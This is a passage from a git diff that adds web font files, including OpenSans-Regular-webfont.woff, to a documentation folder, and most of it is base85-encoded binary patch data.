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 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/docs/fonts/OpenSans-Regular-webfont.woff b/docs/fonts/OpenSans-Regular-webfont.woff new file mode 100644 index 0000000000000000000000000000000000000000..e231183dce4c7b452afc9e7799586fd285e146f4 GIT binary patch literal 22660 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 